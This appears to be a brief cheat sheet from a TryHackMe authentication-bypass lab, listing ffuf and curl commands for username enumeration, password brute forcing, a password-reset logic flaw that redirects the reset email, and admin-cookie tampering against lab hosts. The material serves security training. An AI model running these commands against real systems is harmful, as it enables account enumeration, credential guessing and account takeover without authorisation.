Authentication Bypass

User enumeration

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.215.161/customers/signup -mr "username already exists"

Brute Force

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

Logic flow

user@tryhackme:~$ curl 'http://10.10.60.253/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

Cookie Tampering

curl -H "Cookie: logged_in=true; admin=true" http://10.10.60.253/cookie-test